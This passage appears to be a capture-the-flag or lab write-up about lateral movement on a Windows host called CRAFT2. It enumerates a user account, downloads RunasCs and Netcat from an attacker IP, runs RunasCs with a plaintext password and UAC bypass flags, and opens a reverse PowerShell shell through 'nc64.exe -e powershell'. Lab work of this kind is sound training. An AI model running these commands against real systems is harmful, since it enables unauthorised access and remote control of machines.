thecybergeek


Attempting to make a lateral movement to the already-compromised thecybergeek user after performing a manual enumeration on the CRAFT2 host.

PS C:\tmp> net user thecybergeek
User name                    thecybergeek
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
 
Password last set            4/5/2022 9:22:54 AM
Password expires             Never
Password changeable          4/5/2022 9:22:54 AM
Password required            Yes
User may change password     Yes
 
Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   7/4/2025 10:59:01 AM
 
Logon hours allowed          All
 
Local Group Memberships      *Users                
Global Group memberships     *None                 
The command completed successfully.

Despite the fact that there is a WinRM service running, it cannot be used since the thecybergeek user is not part of the Remote Management Users group.

PS C:\tmp> curl http://192.168.45.158/RunasCs.exe -OutFile .\RunasCs.exe
PS C:\tmp> .\RunasCs.exe "thecybergeek" winniethepooh "cmd /c whoami"
[*] Warning: The logon for user 'thecybergeek' is limited. Use the flag combination --bypass-uac and --logon-type '5' to obtain a more privileged token.
 
craft2\thecybergeek
PS C:\tmp> .\RunasCs.exe "thecybergeek" winniethepooh "cmd /c whoami" --bypass-uac --logon-type 5
 
craft2\thecybergeek

However, I can use RunasCs.exe instead.

PS C:\tmp> curl http://192.168.45.158/nc64.exe -OutFile .\nc64.exe

Transferring a Netcat binary.

PS C:\tmp> .\RunasCs.exe "thecybergeek" winniethepooh "cmd /c C:\tmp\nc64.exe 192.168.45.158 6666 -e powershell" 
[*] Warning: The logon for user 'thecybergeek' is limited. Use the flag combination --bypass-uac and --logon-type '5' to obtain a more privileged token.

Executing Netcat --bypass-uac --logon-type 5 flags are REMOVED because it limits the user

Lateral Movement made to the thecybergeek user via leveraging RunasCs.exe.